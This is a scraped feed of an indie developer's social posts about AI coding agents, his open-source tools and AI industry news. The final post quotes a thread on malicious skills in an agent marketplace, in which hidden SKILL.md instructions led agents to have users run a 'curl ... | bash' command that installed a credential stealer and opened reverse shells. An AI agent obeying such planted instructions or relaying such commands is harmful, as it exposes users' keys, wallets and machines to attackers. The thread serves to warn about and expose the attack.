@alfdefolf It will be developed further behind the scenes and used by government to frame people for crimes and spread even more disinformation with no ability for anyone to dispute that the footage is fake.
English
JMC
140 posts
JMC
@jmc_dev
Indie Dev | Web & iOS https://t.co/qrwP8gmnEM | https://t.co/NjjM1gfmix
شامل ہوئے Ağustos 2012
435 فالونگ48 فالوورز
is there a catch or are we allowed to be happy about something for once in our lives
DiscussingFilm@DiscussingFilm
OpenAI is shutting down its AI video slop-making platform Sora.
English
I just claimed my .agent domain and joined the .agent community! get yours now and help shape the future of autonomous agents #BK6RNLV6" target="_blank" rel="nofollow noopener">agentcommunity.org/join#BK6RNLV6 @agentcommunity_
English
I forked CodexMonitor by @Dimillian and adapted it for @opencode.
If you liked the CodexMonitor UI, OpenCodeMonitor is basically that experience for OpenCode. Curious what features people would want added!
English
Just made OpenCode Monitor public: a desktop app for monitoring and interacting with OpenCode agents across multiple workspaces. I really liked the CodexMonitor interface and wanted something similar for OpenCode. Let me know what you think!
github.com/jacobjmc/OpenC…
English
@jakezward pSEO but not location pages. You rolled out free tool and resource pages with niche modifiers. ~2k under /tools/, 7.5k under /resources/, 2.8k under /for/. "tool for niche" at scale.
English
i think
$20 claude code
and
$20 chatgpt + codex
is the perfect value combo
that's enough to build 80% of time
but
it still forces you to do marketing because of limits
English
@opencode plugin that lets your agent read, search, and resume past sessions: github.com/jacobjmc/openc…
English
Built priority-review: an open-source skill for AI coding agents that does evidence-based code review with P0–P3 severity + confidence labels.
Portable via skills.sh, with optional Claude/OpenCode command + subagent wrappers.
github.com/jacobjmc/prior…
npx skills add jacobjmc/priority-review
English
@SecretCFO ChatGPT feels like it's performing helpfulness, which comes off as annoying. Claude just responds to what you actually said.
English
Claude has really nailed the conversation flow as a thinking partner, in a way that ChatGPT hasn't. A back and forth is so much easier. ChatGPT feels like that try hard friend who won't shut the fuck up, by comparison.
English
Has anybody figured out how to give a video to AI and have it look at the scenes to summarise what the video shows, where transitions are, etc?
English
Trying to figure out how the ban is affecting people. Please reply below with:
> Nothing happened to me
> I'm getting OAuth denials
> My account was banned
Matthew Berman@MatthewBerman
Anthropic just dropped the ban hammer on OpenClaw... I've never seen a faster vibe shift between OpenAI and Anthropic. One hires the founder of OpenClaw, the other shuts it down. Full breakdown of what happened:
English
@iannuttall The move for Conductor is to build on opencode. Then users can pick whatever model and customizations they want
English
If Conductor has to go to API keys, this sucks for them and for us as consumers.
I would expect huge improvements to their Codex integration very shortly as the new default model.
Anthropic just want that enterprise $$$ and fuck the devs, it seems...
English
The thing that gets me is how naturally people trust a skill file. It's markdown, it's readable, it looks fine. But the agent isn't reading it the way you are. It's reading it as instructions to act on, and if someone has hidden something in there, that's where the damage happens.
chiefofautism@chiefofautism
the #1 most downloaded skill on OpenClaw marketplace was MALWARE it stole your SSH keys, crypto wallets, browser cookies, and opened a reverse shell to the attackers server 1,184 malicious skills found, one attacker uploaded 677 packages ALONE OpenClaw has a skill marketplace called ClawHub where anyone can upload plugins you install a skill, your AI agent gets new powers, this sounds great the problem? ClawHub let ANYONE publish with just a 1 week old github account attackers uploaded skills disguised as crypto trading bots, youtube summarizers, wallet trackers. the documentation looked PROFESSIONAL but hidden in the SKILL.md file were instructions that tricked the AI into telling you to run a command > to enable this feature please run: curl -sL malware_link | bash that one command installed Atomic Stealer on macOS it grabbed your browser passwords, SSH keys, Telegram sessions, crypto wallets, keychains, and every API key in your .env files on other systems it opened a REVERSE SHELL giving the attacker full remote control of your machine Cisco scanned the #1 ranked skill on ClawHub. it was called What Would Elon Do and had 9 security vulnerabilities, 2 CRITICAL. it silently exfiltrated data AND used prompt injection to bypass safety guidelines, downloaded THOUSANDS of times. the ranking was gamed to reach #1 this is npm supply chain attacks all over again except the package can THINK and has root access to your life
English